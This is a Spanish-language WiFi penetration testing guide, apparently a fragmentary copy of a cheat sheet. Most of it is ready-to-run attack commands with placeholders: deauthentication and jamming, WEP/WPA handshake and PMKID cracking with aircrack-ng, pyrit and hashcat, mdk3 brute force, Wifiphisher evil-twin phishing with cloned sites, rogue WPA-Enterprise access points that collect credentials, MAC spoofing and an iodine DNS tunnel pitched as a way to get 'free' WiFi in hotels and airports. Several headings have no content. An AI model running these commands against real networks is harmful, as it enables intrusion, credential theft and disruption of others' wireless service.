
Guía de Pruebas de Penetración WiFi
2.1. Portales cautivos
3.1. Sin clientes
4.1. Descifrando el handshake de 4 vías
4.2. Ataque PMKID
4.3. Ataque sin AP
5.2. Fuerza bruta
6.1. Ataque Krack y Ataque Frag
6.2. OSINT
6.3. Bloqueo WiFi
6.4. Otros frameworks
7.1. Atacando el router
7.2. Tipos de escáneres
7.3. Spoofing
VARIABLE=value
iwconfig $IFACE
ifconfig $IFACE
airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up
Establecer modo monitor
Ejecutar Airodump-ng-ng
airodump-ng $IFACE -c $CHANNEL -e $ESSID
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE
Lista las redes usando Airodump-ng y obtén la dirección MAC del AP ($AP_MAC) y la de un cliente ($CLIENT_MAC). No detengas la captura.
En otra terminal, desautentica un cliente o todos ellos. Cuando Airodump-ng capture un handshake de esta red, el nombre o ESSID aparecerá en la primera terminal:
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE
Lista las redes usando Airodump-ng y obtén la dirección MAC del AP ($AP_MAC) y la de un cliente ($CLIENT_MAC). No detengas la captura.
2.a. Ejecutar un ataque de diccionario
mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH
2.b. O ejecutar un ataque de fuerza bruta
mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET
Para el conjunto de caracteres es posible usar l (letras minúsculas), u (letras mayúsculas), n (números), c (minúsculas+mayúsculas), m (minúsculas+mayúsculas+números) o a (todos los imprimibles).
Clona un sitio web usando HTTrack
Instala Wifiphiser. Añade el resultado de HTTrack en una nueva carpeta en wifiphisher/data/phishing-pages/new_page/html y un archivo de configuración en wifiphisher/data/phishing-pages/new_page/config.ini.
Recompila el proyecto usando python setup.py install o el binario en bin.
Este comando funciona correctamente en la última versión de Kali después de instalar hostapd:
cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE
El primer método para evitar un portal cautivo es cambiar tu dirección MAC a la de un usuario ya autenticado.
macchanger
Un script personalizado como este(Bash)
También puedes usar scripts para automatizar el proceso como:
Un segundo método es crear un túnel DNS. Para ello, es necesario tener un servidor DNS propio accesible. Puedes usar este método para evitar el portal cautivo y obtener WiFi "gratis" en hoteles, aeropuertos...
nslookup example.com
Un "registro A": dns.$DOMAIN apuntando a $SERVER_IP (Ejemplo: dns.domain.com 139.59.172.117)
Un "registro NS": hack.$DOMAIN apuntando a dns.$DOMAIN (Ejemplo: hack.domain.com dns.domain.com)
iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN
Verifica si funciona correctamente aquí
Ejecución en el cliente
iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN
ssh -D 8080 [email protected]
Una vez que estás en la red, puedes probar si es vulnerable a ataques Man in the Middle.
Ataque de ARP Spoofing usando Ettercap
Sniffe el tráfico usando Wireshark o TCPdump
Analiza el tráfico usando PCredz (Linux) o Network Miner (Windows)
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
aircrack-ng $PCAP_FILE
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
aircrack-ng -w $WORDLIST capture.cap
Puedes obtener wordlists desde aquí.
pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db
Puedes usar este script o seguir estos pasos:
Instala Hcxdumptool y Hcxtool (puedes usar este script).
Detén Network Manager
airmon-ng check kill
3a. Si quieres atacar una dirección MAC específica
echo $MAC | sed 's/://g' > $FILTER_FILE
hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2
hcxpcaptool -z $HASH_FILE $PCAPNG_FILE
La estructura de cada línea es: PMKID * ROUTER MAC * STATION * ESSID (verifica en: https://www.rapidtables.com/convert/number/hex-to-ascii.html)
hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force
Si tienes acceso a un dispositivo cliente con la conexión WiFi encendida pero no hay una red alrededor, aún puedes atacar esa red si el dispositivo cliente se ha conectado previamente a ella.
Para ello, debes crear un Punto de Acceso Falso usando hostpad con un archivo de configuración como este, con cualquier contraseña pero el mismo nombre de red. Crea la red falsa, el dispositivo cliente intentará conectarse y obtendrás el handshake de 4 vías como en la sección 4.1 de esta guía.
En caso de que no quieras usar la máquina virtual, puedes instalar todo usando:
git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack
cd WPA_Enterprise_Attack && sudo sh install.sh
Inicia el Punto de Acceso usando:
sh freeradius_wpe_init.sh $AP_NAME $INTERFACE
Cuando un cliente se conecte, lee los logs con:
sh freeradius_wpe_read.sh
sh hostapd_wpe_init.sh $AP_NAME $INTERFACE
Encontrar métodos EAP soportados
Estos son dos ataques avanzados descubiertos por el gran Mathy Vanhoef:
Krack Attack Scripts - Explicado en este sitio web
Frag Attack Scripts - Explicado en este sitio web
Un ejemplo para desautenticar todos los dispositivos excepto un Punto de Acceso Falso:
sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC
Linux:
Windows:
Una vez que estás conectado a la red
Nmap/Zenmap - Escáner de seguridad, escáner de puertos y herramienta de exploración de redes
Masscan - La versión más rápida de nmap (puede romper cosas, así que ten cuidado)
Netdiscover - Sniffing ARP. Muy útil si las redes están muy segmentadas
| Sistema operativo | Plataforma | Credenciales | Tamaño | Enlace |
|---|
| Ubuntu 16.04.5 | VMware | ricardojoserf:wifi | 3.25 GB | MEGA |
| Kali 2019.1 | VMware | root:wifi | 4.99 GB | MEGA |
| Ubuntu 16.04.5 | VirtualBox (OVA) | ricardojoserf:wifi | 3.18 GB | MEGA |
| Kali 2019.1 | VirtualBox (OVA) | root:wifi | 5.56 GB | MEGA |